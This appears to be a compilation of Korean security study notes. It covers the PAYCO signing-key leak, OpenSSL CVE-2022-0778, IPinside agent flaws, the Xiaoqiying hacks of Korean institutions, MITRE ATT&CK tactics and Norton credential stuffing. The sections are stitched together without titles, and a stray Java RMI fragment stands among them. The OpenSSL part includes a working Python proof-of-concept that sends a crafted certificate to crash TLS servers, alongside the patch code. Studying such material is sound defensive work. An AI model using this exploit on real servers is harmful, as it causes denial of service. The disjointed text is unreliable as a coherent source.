- 2022.12.05 페이코(PAYCO)에서 서명키가 유출 및 2022.12.06 저녁 신규 서명키가 적용된 페이코 앱의 업데이트를 완료 ※ NHN에서 결제수단을 사전에 등록해두고 등록한 결제수단을 통해 신속하게 결제하는 간편결제 서비스 ※서명키: 안드로이드 앱을 제공하는 구글 플레이(Google Play)에서 사용자 기기로 전달되는 APK 서명에 사용하는 키
내용
- NHN페이코는 2022.12.05일 홈페이지에 공지 게시 > ‘구글 서명키 관련 보도에 대해 안내 드립니다’ > 구글 플랫폼에서 운영되는 페이코 서명키가 외부로 유출 > 스토어를 통해 정상적으로 페이코 앱을 다운받은 회원의 개인정보 및 결제정보 유출은 전혀 없음 > 현재까지 해당 사안과 관련된 피해 사례도 확인된 바 없음 > 사안 인지 후 서명키 변경 작업 및 신규 서명키를 적용한 최신 버전 업데이트를 제공할 예정_2022.12.06 완료
- 보안 솔루션 기업 에버스핀이 주요 고객사에 페이코 서명키 유출로 인한 악성 애플리케이션 제작 및 유포 주의를 당부하면서 알려짐 > 해당 서명키 유출은 지난 8월 1일부터 11월 30일까지 무려 4개월 동안 이어짐 > 이 기간에 유출된 서명키를 통해 생성된 악성코드는 5,144건 탐지 및 유출 경로는 확인되지 않음 > 해당 서명키로 제작된 악성 앱의 숫자는 100여개로 추정
- 구글 서명키는 앱 개발사들이 플레이스토어에 앱을 등록하고 배포할 때 특정 개발사 앱임을 증명하는 도구 > 앱 이용자의 개인정보와는 관련이 없음 > 서명키 유출에 따른 악성앱 관련 피해는 문자나 메신저 등 비정상적 경로를 통해 설치된 경우 발생할 수 있는 문제 > 정상적인 경로로 내려받아 설치한 앱은 이번 서명키 유출과 관계없이 안전
- NHN페이코는 8월 구글 서명키 유출을 인지한 직후부터 유출된 서명키로 생성되는 앱의 악성행위 여부를 탐지할 수 있게 조치하고 있었음 > 고객의 불안감을 해소하기 위해 서비스 공지사항과 앱 내 배너 등을 통해 기존 앱을 삭제하고 재설치 적극 권장 > 스토어에 등록된 정식 앱 외에 기존 서명키로 제작된 모든 앱을 악성 앱으로 탐지 및 차단하는 방안 추가 검토
결과
- 금융보안원이 일부 보안기업과 서명키 유출에 대한 패턴을 공유 > 이는 서명키 유출에 대한 블랙리스트 패턴을 긴급하게 등록해 확산을 방지하기 위한 적절한 긴급조치
- 금융보안원은 이번 페이코 서명키 도난사건의 경우 8월경 정보를 확인 > 해당 정보를 보안기업들에게 공유해 공격에 대비
- NHN페이코 > 8월에 서명키 탈취 사실을 인지하고 계속 교체 작업을 진행 > NHN이 서비스하는 전체 서명키를 교체
- 정식 서명키를 획득하거나 탈취하려는 해커들의 움직임은 2023년에 보다 거세질 것 > 2022.12에 알려진 NHN페이코의 서명키 유출사건과 마이크로소프트의 디지털 서명 도난사건 > 마이크로소프트의 디지털 서명 도난사건 NHN페이코 사건과는 비교되지 않을 정도로 미칠 파장이 크고, 이에 따른 보안 위협은 현재진행형 악성 드라이버 인증 > 인증을 받아 보안 솔루션들 우회 및 악성 드라이버들이 랜섬웨어 등 사이버 공격 정황 포착
> 소프트웨어에 디지털 서명을 하거나 정식 서명키를 보유 = 신뢰가능한 제품을 인증 > 운영체제(OS)가 이 서명을 보고 해당 소프트웨어의 실행을 허용할지 말지를 결정 > 때문에, 불법 소프트웨어라고 하더라도 정상 서명키만 보유하고 있으면 보안 검사 통과
> 정상 서명키를 악용한 사이버 공격이 증가할 것이라는 전망은 다크웹 시장에서도 미리 예측 가능 > 올해(2022) 중반부터 각종 소프트웨어의 정상 서명키들이 다크웹에서 활발하게 거래되는 정황을 파악
∴ 해커들이 보안 감시망을 유유히 뚫을 수 있는 최고의 수단으로 정식 서명키가 가장 효과적이라는 사실을 인식 > 기업 입장에서는 ‘제로트러스트(Zero Trust)’에 대한 관심과 인증 보안 강화 이슈가 더욱 커질 것 ※ 제로트러스트(Zero Trust) 2010년 포레스터 리서치 보안위협팀의 존 킨더백 수석 애널리스트가 제안한 모델 '신뢰하지 말고 항상 검증할 것'이라는 원칙을 바탕 사용자, 단말기가 네트워크나 데이터에 접근을 요청할 때 처음부터 아무것도 신뢰하지 않는 보안 전략 보안 시스템을 통과해서 IT 시스템에 접속한 사용자나 단말기라도 신뢰하지 않는다는 것이 기본 전제 모든 유효성을 다 입증한 다음에 최소한의 권한만을 부여해 접근을 허용 > 2단계 인증을 기본으로 사용자 인증과 검증을 강화하는 인증 보안체계 확립이 보안 강화를 위한 숙제
- 조작된 패킷을 전송하여 OpenSSL 내 BN_mod_sqrt() 함수에서 연산 시 무한 루프로 인해 발생하는 서비스 거부 취약점
① 영향받는 버전 - OpenSSL 1.0.2 및 이전 버전 - OpenSSL 1.1.1 및 이전 버전 - OpenSSL 3.0 및 이전 버전
② 영향받는 상황 - 서버 인증서를 사용하는 TLS 클라이언트 - 클라이언트 인증서를 사용하는 TLS 서버 - 고객으로부터 인증서 또는 개인 키를 받는 호스팅 제공업체 - 인증 기관이 가입자의 인증 요청을 구문 분석 - ASN.1 타원 곡선 매개변수를 구문 분석하는 기타 모든 것 - 매개변수 값을 제어하는 BN_mod_sqrt()를 사용하는 OpenSSL 응용 프로그램
2.1 분석
-a, p에 대하여 r^2 = a ( nod p) 를 만족하는 r 을 modular 제곱근이라함
- BN_mod_sqrt()는 모듈러의 제곱근을 계산
※ 함수 위치 :bn_sqrt.c
※ Tonelli–Shanks 알고리즘을 이용해 modular 제곱근을 찾는 함수
- 해당 함수는 아래 형식의 인증서를 해석할 때 사용
① 인증서에 압축 형식의 타원 곡선 공개 키가 포함된 경우
② 압축 형식으로 부호화된 기점을 갖는 명시적 타원 곡선 매개변수를 포함하는 인증서
- b^(2^i) = 1 (mod p)를 만족하는 i를 찾는 과정에서 발생
- 매개변수 p가 소수여야 하지만 함수에 검사가 없으므로내부에 무한 루프가 발생할 수 있음
while (!BN_is_one(t)) {
i++;
if (i == e) {
ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
goto end;
}
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
- 위 코드는 BN_mod_sqrt() 중 취약점이 발생하는 부분
① 고정된 e와 증가하는 i에 대해 해당 loop는 i == e인 시점에 알고리즘은 종료되어야 함
② 조작된 입력값을 통해 i=1, e=1 인 상태로 해당 loop에 진입 > 무한 loop가 발생
2.2 PoC
- PoC의 동작 순서는 다음과 같음
① ClientHello 메시지를 전송
② ServerHello 수신 및 Certificate_Request가 포함되어 있는지 확인
③ 이 경우 임의의(조작된) Certificate를 작성하고 DER 인코딩
※ DER(Distinguished Encoding Rules)
바이너리 형태로 인코딩한 포맷으로 확장자는 .der
der 을 인식할 수 있는 프로그램(ex. openssl 등)으로 파싱하거나 ASN.1 파서를 이용
④ 조작된 Certificate를 전송 및 서버에서 구문 분석 중 CVE-2022-0778 취약점(무한 루프로 인한 서비스 거부) 발생
from socket import socket, AF_INET, SOCK_STREAM
from tlslite import TLSConnection
from tlslite.constants import *
from tlslite.messages import CertificateRequest, HandshakeMsg
from tlslite.utils.codec import Writer
import argparse
class CraftedTLSConnection(TLSConnection):
def _clientKeyExchange(self, settings, cipherSuite,
clientCertChain, privateKey,
certificateType,
tackExt, clientRandom, serverRandom,
keyExchange):
if cipherSuite in CipherSuite.certAllSuites:
# Consume server certificate message
for result in self._getMsg(ContentType.handshake,
HandshakeType.certificate,
certificateType):
if result in (0, 1):
yield result
else:
break
if cipherSuite not in CipherSuite.certSuites:
# possibly consume SKE message
for result in self._getMsg(ContentType.handshake,
HandshakeType.server_key_exchange,
cipherSuite):
if result in (0, 1):
yield result
else:
break
# Consume Certificate request if any, if not bail
for result in self._getMsg(ContentType.handshake,
(HandshakeType.certificate_request,
HandshakeType.server_hello_done)):
if isinstance(result, CertificateRequest):
craftedCertificate = CraftedCertificate(certificateType)
craftedCertificate.create(open('crafted.crt', "rb").read())
for r in self._sendMsg(craftedCertificate):
yield r
print("Crafted Certificate msg sent, check server.")
exit(0)
else:
print("Server does not support TLS client authentication, nothing to do.")
exit(1)
class CraftedCertificate(HandshakeMsg):
def __init__(self, certificateType):
HandshakeMsg.__init__(self, HandshakeType.certificate)
self.certificateType = certificateType
self.certChain = None
self.der = bytearray(0)
def create(self, certBytes):
self.der = certBytes
def write(self):
w = Writer()
if self.certificateType == CertificateType.x509:
chainLength = len(self.der) + 3
w.add(chainLength, 3)
w.addVarSeq(self.der, 1, 3)
else:
raise AssertionError()
return self.postWrite(w)
def run(server, port):
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((server, port))
connection = CraftedTLSConnection(sock)
connection.handshakeClientCert()
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Parameters')
parser.add_argument('--server', dest='server', type=str, help='Name of the server to connect for the TLS handshake, defaults to "localhost"', default='localhost')
parser.add_argument('--port', dest='port', type=int, help='Port where server listens for TLS connections, defaults to "443"', default=443)
args = parser.parse_args()
run(args.server, args.port)
3. 대응방안
① 최신 업데이트 적용
- i == e 를 종료 조건으로 가지는 for문으로 변경
패치코드
/* Find the smallest i, 0 < i < e, such that b^(2^i) = 1. */
for (i = 1; i < e; i++) {
if (i == 1) {
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
} else {
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
if (BN_is_one(t))
break;
}
/* If not found, a is not a square or p is not prime. */
if (i >= e) {
ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
goto end;
}
영향 받는 버전
패치 버전
OpenSSL 1.0.2
OpenSSL 1.0.2zd
OpenSSL 1.1.1
OpenSSL 1.1.1n
OpenSSL 3.0
OpenSSL 3.0.2
※ OpenSSL 1.0.2 버전(Premium Level Support 사용자 제외) 및 1.1.0 버전은 더 이상 업데이트가 지원되지 않으니 OpenSSL 1.1.1n 또는 3.0.2 버전으로 변경할 것을 권고
- (주)인터리젠에서 제작한 단말기 정보 수집 및 실시간 개인정보 유출탐지 및 차단 솔루션
- 접속자 단말기 정보 수집, 해외 IP 분석 및 차단, 부정 접속 등을 방지하기 위한 프로그램
1.1 IPinside 동작 방식
① IPinside LWS Agent 애플리케이션도 로컬 서버를 통해서 웹사이트와 통신
② 은행 웹사이트가 접속자에 대한 정보를 더 얻기 위해 localhost:21300로 JSONP 요청을 보냄
JSONP (JSON with Padding) - 자바 스크립트는 서로 다른 도메인에 대한 요청을 보안상 제한 = 동일근원정책(Same-Origin Policy, SOP) - 이러한 정책으로 인해 생기는 이슈를 cross-domain 문제 - JSONP은 각기 다른 도메인에 상주하는 서버로부터 데이터를 요청하기 위해 사용
③ 해당 요청 실패 시 은행 웹사이트는 접속을 거부 및 IPinside LWS Agent를 먼저 설치할 것을 요구
④ 애플리케이션이 실행되고 있다면 웹사이트는 wdata, ndata, udata 필드를 통해서 다양한 데이터를 받아 볼 수 있음
2. 취약점
- wdata, ndata, udata 필드를 통해서 다양한 데이터를 받아 볼 수 있으나 필요 정보보다 많은 데이터가 전송
2.1 wdata
- 실행중인 프로세스에 대한 정보를 저장
- 난독화시 단지 무작위 바이트 하나만 사용
- [사진 3]을 통해 wdata에는 다음과 같은 데이터 등이 저장됨
① IP 정보
c0 a8 7a 01 (실 IP 주소 192.168.122.1)
c0 a8 7a 8c (192.168.122.140, 첫 네트워크 카드의 IP 주소)
c0 a8 7a 0a (192.168.122.10, 두번째 네트워크 카드의 IP 주소)
② 운영체제 정보
65 (문자 e)는 GetProductInfo() 함수를 호출한 결과
※ GetProductInfo(): 로컬 컴퓨터의 운영 체제에 대한 제품 유형을 검색 및 반환
③ 하드드라이브 정보
하나는 시리얼 번호가 QM00001이고 다른 하나는 abcdef
④ 실행중인 프로세스 정보
firefox.exe
⑤ 실행 플랫폼
가상 머신
⑥ 원격제어 프로그램 동작 정보
2.2 ndata
- 접속자의 IP 주소를 저장
- 난독화는 랜덤성도 없으며 데이터는 항상 동일
- 웹 사이트가 IPinside LWS Agent에 통신(응답)하는 과정에서 RESPONSE_IP의 값이 HDATAIP에 저장되며, 이는 접속자 IP주소
2.3 udata
- “u” 는 “unique”의 약자이며, 몇 가지 다른 아웃풋 타입이 있음
- 15개의 서로 다른 CPUID 명령호출의 결과를 합쳐서 만든 것
※ CPUID 명령어: 소프트웨어가 프로세서의 세부 정보를 검색할 수 있도록 하는 프로세서 보조 명령어
- 난독화는 랜덤성도 없으며 데이터는 항상 동일
- [사진 4]를 확인해보면 네트워크 카드, 하드 드라이브의 목록과 네트워크 카드의 MAC 주소도 목록에 포함
2.4 wdata, ndata, udata 보호
- 사용자를 비익명화하기 위한 여러 데이터가 사용
- 사용자의 H/W, S/W에 대한 데이터를 통해 시스템의 취약점 확인 > 잠재적으로 다른 공격으로 발전 할 가능성
- localhost:21300에서 동작하는 서버는 누가 응답하는지 상관하지 않음 > 어떤 웹사이트든 데이터 요청 가능
① wdata - 3단계의 보호 장치가 적용_난독화, 압축, 암호화(공개키 암호화) - 암호화에 사용된 RSA 암호화는 해당 테스트에서 2시간 36분 만에 비공개키를 계산
② ndata, udata - 유일한 보호장치는 암호화(AES-256 기반의 대칭 암호화) - 암호화 키는 애플리케이션 내에 하드코딩 - 실행 시마다 동일한 ciphertext를 생성_ CBC 블록 연쇄 모드를 사용하며, 초기회 백터 IV를 전달하지못해 항상 0으로 채움
> 재전송 공격을 통해 미리 저장한 유효한 응답을 웹 사이트에 보낼 수 있음
※ challenge-handshake scheme, 타임 스탬프(timestamp) 등 대응 방안이 확인되지 않음
∴ 데이터를 제대로 보호하고 있지 않으며, 어떤 임의의 웹사이트에서도 수집한 데이터에 접근할 수 있음
2.5 어플리케이션의 전반적인 보안성
- OpenSSL 라이브러리를 사용 > OpenSSL 1.0.1j 버전
※ 2015년 릴리즈, 2017년 OpenSSL 1.0.1에 대한 지원이 중단
- 단일 쓰레드로 동작 > 서비스 거부 공격에 취약
- ssl_read 가 정확히 8192 바이트를 리턴해서 버퍼를 꽉 채울 수도 있음 > 이럴 경우 inputBuffer는 널문자로 종료되지 않음
- 이것을 복사한 request 도 마찬가지로 널문자로 종료되지 않음 > sprintf() 나 handle_request()에서 request를 널문자로 종료되는 문자열로 취급할 경우 버퍼를 초과해서 읽을 것
- 그렇게 되면 sprintf() 는 16384 바이트 이상의 데이터를 읽을 것 > 타깃 버퍼에 다 담기는 너무 큰 데이터
=> 스택오버플로우나 버퍼의 범위를 벗어난 읽기 등 발생가능
> 이 취약점 중 일부는 확실히 애플리케이션을 죽일 수도 있음 > 2개의 개념증명 웹페이지를 만들어서 여러 차례 확인
> 원격 코드 실행 취약점은 확인되지 않음 > StackGuard와 SafeSEH 기능이 효율적으로 동작하기 때문
3. 조치
- 블라디미르 팔란트
> 2022년 10월 21일 3건의 취약점 보고서를 KrCERT에 보고
> 11월 14일 KrCERT는 보고서를 인터리젠에 전달
- 인터리젠 관계자
> 보고서 중 하나만 2023년 1월 6일 전달 받음 주장
> 문제점에 대한 수정 버전은 2월에 배포할 예정 > 새로운 버전을 사용자에게 배포하는 것은 고객(은행 등)의 문제
- 중국 해커조직이 한국 정부부처 및 공공기관을 타깃으로 대규모 네트워크 해킹 작전을 선포 ※ 중국 해커조직: 晓骑营_Xiaoqiying_샤오치잉 > 우리나라에 악명이 높았던 해커조직 ‘腾蛇_Teng Snake_텅 스네이크’의 후신 > 지난해 5월 초 우리나라 보건복지부와 국방부를 해킹한 이후 트위터를 통해 공개적으로 밝힘 > 샤오치잉, 텅 스네이크, GDP, Code Core, White Dawn 등 조직명을 다양하게 바꿔가며 활동 > 4명(아이디 TuBo, RABBIT, chicken, 1337 등)의 해커가 함께 실행한 것으로 추정 > TuBo: post 침투, web 침투, 초기 도구 개발 >RABBIT: 사후 침투와 코드 감사 >chicken: 코드 감사 >1337: 포스트 침투, 네트워크 침투, 1차 도구 개발
- 중국 해커조직은 해킹 조직원들을 추가 모집 및 한국의 기관, 학회, 협회를 타깃으로 해킹 공격을 진행 > 우리나라의 대통령실, 국가정보원, 국방부, 행정안전부 등이 포함된 약 2,000개의 도메인을 공유해 해킹을 독려
- 공격 대상 중 정보보호 전문기관인 한국인터넷진흥원(KISA)을 특정
내용
- 정부나 공공기관의 경우 큰 피해는 없었으며 상대적으로 보안이 취약한 학회 및 연구소 등 총 12곳이 디페이스 공격 피해 ※ 디페이스 공격 (Deface) > 메인 페이지가 해커의 임의대로 바뀌고(시각적으로 해킹을 어필하기 좋은 방식), 사용자는 사이트를 이용할 수 없게 됨 > 해킹 실력을 자랑하거나, 특정 단체의 메시지를 알리기 위한 과시적 공격 수법으로 사용 > 공격에 성공했다는 건 해커가 웹사이트 관리자 권한을 손에 넣었단 뜻 > 홈페이지의 보안이 취약하다는 반증 및 이미지 실추, 신뢰 하락, 매출 감소
- 해킹 당한 곳 모두 메인 페이지 화면이 바뀌었고, 일부 기관은 데이터가 유출되는 피해 > 공격을 받은 초기에는 홈페이지 화면이 변조돼 중국 해커조직 ‘샤오치잉’이 올린 화면이 게시
- 샤오치잉의 주장 > 1월 21일에 우리나라 교육, 과학, 바이오, 의학 분야 연구원 및 협회 등을 해킹해 데이터를 탈취 > 23일에는 한국 정부부처 데이터 54.2GB 분량을 유출 파일은 91개(91 个文件)와 41개(41 个文件来) 등 > 24일에도 한국의 각종 학회 40여 곳을 해킹했다며 탈취한 데이터를 공개
- 깃허브(Github)에 우리나라 공공기관·기업 등에 근무하는 161명의 개인정보를 공개 > 공공기관 2명, 교육기관 2명, 민간기업 157명 > 소속과 이름, 아이디와 비밀번호, 휴대전화번호, 직장 전화번호, 직장과 자택주소 등 > 과거에 탈취돼 공개됐던 정보인 것으로 확인 지난 2022년 12월 26일 공개한 자료와 동일한 자료 및 다크웹 포럼 등을 통해 해킹한 자료들을 공개
- 21일 해킹된 국내 학술기관 홈페이지 12곳 모두 아직 복구되지 않은 상태 > 피해를 본 기관 12곳 모두가 같은 웹호스팅 업체 서비스를 이용 > 웹호스팅 업체는 보통 한 업체가 하나의 서버에 여러 개의 홈페이지 서비스를 호스팅 > 그러므로, 해당 업체 보안 시스템에 고객사가 맞출 수밖에 없음 > 국내 업체는 외국계 웹 호스팅 업체 대비 상대적으로 영세한 소규모란 점도 한계로 지적
- 2023/02/01 12곳 모두 정상 접속이 가능 > 대한건설정책연구원, 한국학부모학회, 우리말학회 홈페이지 공지를 통해 해킹 피해 공지 및 홈페이지 접속 차질, 개인정보 침해에 대해 사과 전체 피해 규모와 개인정보 유출 피해에 대한 추가 조치 부분은 언급하지 않음 > 나머지 9개 기관의 경우 홈페이지 접속 장애나 데이터 및 개인정보 유출에 대해 아직까지 별다른 공지 없음
- 2023/02/16 새벽 텔레그램에 879건의 개인정보가 들어 있는 데이터베이스를 유출 > 한국스포츠정책과학원 회원의 정보인 것으로 추정 > 올린 파일명에는 'ijass'가 포함됐는데, 이는 한국스포츠정책과학원이 발행하는 체육분야 영문 학술지 > DB에는 개별마다 상이하지만 이름, 소속, 직책, 주거지, 메일 주소, 핸드폰 번호 등 총 879명의 개인 정보가 포함 > 해킹 사실에 대해 국가정보원은 해당 해킹 사실을 인지 및 조사중이며, 구체적인 내용은 알려줄 수 없음이라 밝힘
- 2023/02/18 18:33 한국인정지원센터를 해킹 사실 공개 >16:16 경 탈취한 개인정보를 엑셀파일로 공개 > 이름, 이메일, 비밀번호 등 민감정보가 포함된 약 4만개의 데이터를 확보했다고 공개 > 공무원 정보(이메일+비밀번호+전화번호+이름) 91명, 연구기관 및 유관기관 임직원 정보 476명, 교육기관 관련 임직원 정보 253명, 기타 CO.KR 관련 정보 3,439명 등 > 휴대전화 번호가 011, 016, 019 등 지금은 사용하지 않는 번호로 시작됐기 때문에 꽤나 오래된 정보로 추정
- 2023/02/19 03:25 공격 중지 선언 > ‘한국에 대한 행동을 중지한다(Korean action ends here without any follow-up)’ > 샤오치잉의 공식 홈페이지 또한 접속되지 않음
조치
- 이번 사건은 국가정보원과 개인정보보호위원회에 보고
- 개인정보보호위원회에서 추가 조치를 취함
- KISA > 민간기업의 유출 피해자 157명의 개인정보는 해당 기관 및 기업에 전달해 진위 여부 확인 > 각 피해 홈페이지 관리자 계정 등을 탈취한 것인지 웹호스팅 업체 서버나 관리자 계정이 해킹된 것인지 조사 중 > 추가 보안조치를 요청 ① 로그인 보안 및 사용자 예방 강화 등을 긴급 권고 로그인 기능이 있는 웹사이트에 대한 주기적인 부정 접속이력을 확인해 비정상 IP 차단 및 유관기관 공유 IP당 로그인 시도 횟수 임계치 설정, 캡처 등을 활용한 자동 로그인 시도 차단 등 부정 로그인 차단 강화 비밀번호 변경 및 이중 인증 기능 사용 등 사용자 계정 보안 강화 조치 등
② 사용자 예방 강화 방안 자사 가입자 대상 계정보안 관리 강화 사용자 중요 정보 변경(통신요금 등) 시 SMS 알림 등 피해 알람 기능 강화 관련 서비스 유지보수·위탁업체의 보안강화 요청 등
③ 계정보안 관리 강화를 위한 세부 지침 여러 사이트의 계정정보를 중복되지 않도록 설정 복잡한 비밀번호 설정 및 3개월 단위로 비밀번호를 주기적으로 변경할 것을 당부 ID 및 비밀번호 이외에 OTP, SMS 등을 통한 이중 인증 기능을 설정 계정정보가 노출된 경우 반드시 동일한 계정정보를 사용하는 모든 사이트의 비밀번호를 신속하게 변경할 것
> 업무에 복귀한 기업 보안담당자들의 경우 회사 시스템의 보안 점검과 모니터링에 만전을 기해줄 것을 당부
- 웹 호스팅 업체 > 피해 기관들이 사용 중인 웹호스팅 업체도 근본 원인 파악과 보안 강화를 목적으로 전반적인 점검
- 보안업계 > 보안 시스템 투자가 여의치않은 소규모 기업·기관에 대한 지원 강화 필요 > 공격 타깃이 된 국내 학술기관은 수백개에 달하지만, 홈페이지를 만들어 운영할 만한 능력은 부족 > 웹호스팅을 자체 구축하면 서버와 스토리지 도입과 운영이 필요하고 상시 근무할 수 있는 보안 인력 또한 부족 > 보안 솔루션 운영, 취약점 점검, 주기적 모니터링 등의 체계가 없다 보니 손쉽게 해킹을 당할 수 있는 구조
- 대한건설정책연구원 > 사이버테러수사대에 수사를 요청하고 개인 침해부분에 대해서도 신고를 완료 > 더 이상 해킹시도는 발견되지 않음
- 우리말학회, 한국학부모학회 > 25일 오전 외부 접속에 의한 해킹 정황이 발견 > 즉시 서버를 닫아 불법 접속 차단 및 데이터를 안전하게 보관 > KISA, KERIS 등과 피해범위를 확인하고 수사를 진행 중
Java RMI - 원격 시스템 간의 메시지 교환을 위해서 사용하는 기술 - 원격에 있는 시스템의 메서드를 로컬 시스템의 메서드인 것처럼 호출 - 원격 시스템의 메서드를 호출 시에 전달하는 메시지(보통 객체)를 자동으로 직렬화 시켜 사용 - 전달받은 원격 시스템은 메시지를 역직렬화를 통해 변환하여 사용
Weblogic T3 프로토콜 - WebLogic 서버와 다른 유형의 Java 프로그램간에 정보를 전송하는 데 사용되는 프로토콜
- 공격 기술인 Tactic, Technique 개념과 관계를 시각화 - Enterprise(기업), Mobile(모바일), ICS(산업제어시스템) 버전으로 제공 ① Enterprise - 범용적인 기업환경에 적용되는 네트워크 및 다양한 OS 및 플랫폼에대한 침해 행위를 세부적으로 모델링하기 위해 만들어진 프레임워크 ② Mobile - 모바일 환경에 대한 침해 행위를 세부적으로 모델링하기 위해 만들어진 프레임워크 ③ ICS - 관련 네트워크와 산업 생산 영역에서 설비의 운영을 제어·관리하는 시스템을 대상으로 한 공격 유형과 과정 등의 정보를 포함
Tactics (공격 전술 정보)
- Tactics 는 공격자의 공격 목표에 따른 행동을 나타냄 <Enterprise Tactics> ① 정찰 (Reconnaissance) - TA0043 - 내부정찰단계로 다른 시스템으로 이동하기 위해 탐구하는 단계 ② 자원 개발 (Resource Development) - TA0042 - 다른 시스템으로 이동하기 위한 정보로 계정 등을 확보하는 단계 ③ 초기 접근 단계 (Initial Access) - TA0001 - 네트워크 진입을 위해 사용자 환경에 대한 정보를 취득하는 것을 목적으로 함 ④ 실행 (Execution) - TA0002 - 공격자가 로컬 또는 원격 시스템을 통해 악성코드를 실행하기 위한 행동 ⑤ 지속 (Persistence) - TA0003 - 공격 기반을 유지하고 시스템에 지속적으로 접근하기 위한 행동 ⑥ 권한 상승(Privilege Escalation) - TA0004 - 공격자가 시스템이나 네트워크에서 높은 권한을 얻기 위한 행동 ⑦ 방어 회피(Defense Evasion) - TA0005 - 공격자가 침입한 시간 동안 탐지 당하는 것을 피하기 위한 행동 ⑧ 접속 자격 증명(Credential Access) - TA0006 - 시스템, 도메인 서비스, 자격증명 등을 접근하거나 제어하기 위한 행동 ⑨ 탐색 (Discovery) - TA0007 - 시스템 및 내부 네트워크의 정보를 얻기 위한 행동 ⑩ 내부 확산(Lateral Movement) - TA0008 - 네트워크 상의 원격 시스템에 접근한 후 이를 제어하기 위한 행동 ⑪ 수집 (Collection) - TA0009 - 공격 목적이나 관련 정보가 포함된 데이터를 수집하기 위한 행동 ⑫ 명령 및 제어 (Command And Control) - TA0011 - 공격자가 침입한 대상 네트워크 내부 시스템과 통신하며 제어하기 위한 행동 ⑬ 유출 (Exfiltration) - TA0010 - 공격자가 네트워크에서 데이터를 훔치기 위한 행동 ⑭ 임팩트 (Impact) - TA0040 - 공격 목표의 가용성과 무결성을 손상시키기 위한 행동
Techniques (공격 기술 정보)
- 공격자가 목표에 대한 Tactic 을 달성하기 위한 방법을 나타냄 - 공격자의 공격(Technique)을 통해 발생하는 결과(피해)를 명시
- 노턴 라이프락(Norton LifeLock) 고객들 중 일부가 크리덴셜 스터핑 공격의 피해 ※ 크리덴셜 스터핑 : 입수한 비밀번호를 사용해 다양한 서비스의 계정으로 로그인 시도를 해 보는 공격 - 다른 곳에서 유출된 사용자 이름과 비밀번호의 조합 정보를 노턴 라이프락 고객들에게 대입하여 노턴 계정에 침투하는 데 성공 - 비밀번호 관리 프로그램에 접속했을 가능성도 존재
내용
- 젠 디지털 측은 침해와 관련된 악성 행위를 12월 12일에 처음 발견 ※ 젠 디지털(Gen Digital) : 라이프락이라는 브랜드를 소유하고 있는 기업
- 인증 시스템에서 “비정상적으로 로그인 시도 및 실패 빈도가 높다” 경보 > 열흘 간 수사 > 최초 악성 행위는 12/01 - 아직 피해 규모에 대해서는 알려진 바가 없다 > 공격자들이 노턴 계정과 연결되어 있는 사용자 이름, 전화번호, 우편 주소에 접속한 것으로 추측
- 이번 사건으로 비밀번호 재사용 습관의 문제점을 보여줌 > 아무리 강력한 비밀번호 생성 및 관리 기술이라도 무용지물이 될 수 있음 > 각종 서비스에 동일한 크리덴셜(ID/PW)을 사용
기타
- 사용자들 중 노턴 계정을 비밀번호 관리 프로그램으로 보호하지 않고 자기가 스스로 만든 비밀번호로 보호하고 있던 사람들이 공격에 당한 것으로 추정
- 공격자들은 최근 아이덴티티와 접근 관리 시스템을 자주 표적으로 삼기 시작 > 아이덴티티 접근 관리 시스템(IAM)을 한 번만 침해하면 연결된 수많은 보물 창고들로 접근할 수 있기 때문 > 표적의 네트워크 내에도 더 깊숙하게 들어갈 수 있게 됨 ∴ 효율성을 지극히 따지는 공격자들에게 안성맞춤인 표적